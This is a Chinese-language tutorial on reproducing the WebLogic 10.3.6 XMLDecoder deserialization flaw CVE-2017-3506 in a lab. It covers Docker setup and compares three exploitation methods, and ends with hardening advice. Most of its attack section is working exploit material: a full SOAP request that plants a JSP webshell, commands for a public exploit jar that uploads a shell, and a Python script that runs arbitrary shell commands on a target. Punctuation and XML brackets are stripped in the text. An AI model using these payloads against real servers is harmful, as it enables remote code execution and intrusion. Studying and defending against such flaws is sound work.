WebLogic 10.3.6 漏洞环境搭建与 CVE-2017-3506 实战复现：3 种利用方式对比

WebLogic 10.3.6 漏洞环境搭建与 CVE-2017-3506 实战复现3 种利用方式对比在企业级中间件安全领域Oracle WebLogic 的历史漏洞一直是渗透测试人员必须掌握的实战技能。本文将深入探讨 CVE-2017-3506 漏洞的三种不同利用方式通过对比分析帮助安全从业者构建系统化的漏洞复现能力。1. 漏洞环境搭建搭建可控的漏洞实验环境是安全研究的首要步骤。我们推荐两种主流的搭建方案1.1 Docker 快速部署方案对于需要快速验证漏洞的研究人员使用 Vulhub 的 Docker 镜像是最便捷的选择# 拉取漏洞环境镜像 docker pull vulhub/weblogic:10.3.6.0-2017 # 启动容器映射7001管理端口 docker run -d -p 7001:7001 --name weblogic_vul vulhub/weblogic:10.3.6.0-2017环境验证要点访问http://localhost:7001/console应显示登录页面/wls-wsat/CoordinatorPortType11接口应返回 WSDL 描述文件1.2 手动安装原生环境如需深入理解漏洞原理建议手动搭建完整环境从 Oracle 官网下载 WebLogic 10.3.6 安装包配置 JDK 1.6 运行环境与漏洞版本兼容安装时取消自动更新选项创建域时保持默认组件配置关键配置参数配置项推荐值注意事项内存分配≥2GB避免OOM错误端口设置7001需防火墙放行安全模式开发模式生产环境需额外配置2. 漏洞原理深度解析CVE-2017-3506 本质是 XMLDecoder 反序列化漏洞其攻击面存在于 WLS Security 组件的 SOAP 接口处理流程中// 漏洞触发点代码逻辑 public class WorkContextXmlInputAdapter { public WorkContextXmlInputAdapter(InputStream is) { XMLDecoder decoder new XMLDecoder(is); // 危险的反序列化操作 this.obj decoder.readObject(); } }漏洞触发路径攻击者构造恶意 SOAP 请求请求到达wls-wsat组件端点服务端使用 XMLDecoder 解析请求体反序列化过程执行嵌入的 Java 代码3. 三种利用方式实战对比3.1 手工构造 SOAP 请求这是最基础的利用方式适合理解漏洞本质POST /wls-wsat/CoordinatorPortType11 HTTP/1.1 Host: target:7001 Content-Type: text/xml Content-Length: 623 soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ soapenv:Header work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ java object classjava.io.PrintWriter stringservers/AdminServer/tmp/_WL_internal/wls-wsat/test.jsp/string void methodprintln string![CDATA[% Runtime.getRuntime().exec(request.getParameter(cmd)); %]]/string /void void methodclose/ /object /java /work:WorkContext /soapenv:Header soapenv:Body/ /soapenv:Envelope特点分析优点无需额外工具直接体现漏洞原理缺点需手动处理路径编码和文件写入位置成功率依赖对WebLogic目录结构的了解3.2 使用公开EXP工具cve-2017-3506_webshell.jar 是流传较广的利用工具# 漏洞检测 java -jar cve-2017-3506_webshell.jar -u http://target:7001 # 上传WebShell java -jar cve-2017-3506_webshell.jar -s http://target:7001 /wls-wsat/CoordinatorPortType11 shell.jsp工具参数解析参数功能注意事项-u单目标检测需完整URL路径-f批量检测文件每行一个URL-s上传Shell注意路径后缀空格3.3 Python PoC 脚本开发对于需要定制化攻击的场景可以编写Python自动化脚本import requests import sys TARGET sys.argv[1] CMD sys.argv[2] if len(sys.argv) 2 else whoami payload fsoapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ soapenv:Header work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ java void classjava.lang.ProcessBuilder array classjava.lang.String length3 void index0string/bin/sh/string/void void index1string-c/string/void void index2string{CMD}/string/void /array void methodstart/ /void /java /work:WorkContext /soapenv:Header soapenv:Body/ /soapenv:Envelope response requests.post( f{TARGET}/wls-wsat/CoordinatorPortType11, datapayload, headers{Content-Type: text/xml}, verifyFalse ) print(response.status_code, response.text)脚本优势可集成到自动化测试框架支持动态命令注入便于批量漏洞验证4. 利用方式横向对比通过实际测试数据对比三种方式的优劣评估维度手工SOAP请求EXP工具Python脚本技术门槛高低中成功率80%95%90%隐蔽性高低中可定制性极高低极高适用场景原理研究快速验证自动化测试注意实际测试中发现 EXP 工具在某些环境下会因路径处理问题导致上传失败而手工构造请求成功率更高但耗时较长。5. 防御加固方案基于漏洞原理的防护应当从多个层面实施组件卸载方案# 删除漏洞组件 rm -f $MIDDLEWARE_HOME/wlserver_10.3/server/lib/wls-wsat.war rm -rf $DOMAIN_HOME/servers/AdminServer/tmp/_WL_internal/wls-wsat网络层控制配置防火墙规则限制/wls-wsat/*路径的外部访问设置IP白名单仅允许管理终端访问控制台补丁升级策略优先安装Oracle官方季度补丁CPU补丁编号Patch 26186794在云环境部署时建议结合WAF规则添加以下防护检测SOAP请求中的object、void等危险标签拦截异常的XMLDecoder实例化请求6. 进阶研究建议对于希望深入的研究人员可以探索以下方向分析补丁绕过技术如CVE-2017-10271研究不同WebLogic版本的利用差异开发基于流量特征的入侵检测规则探索在受限环境下的新型利用链实际测试中发现在JDK 1.7环境中由于安全管理器的增强部分利用方式会受到限制。这提示我们在漏洞复现时需要严格匹配环境版本。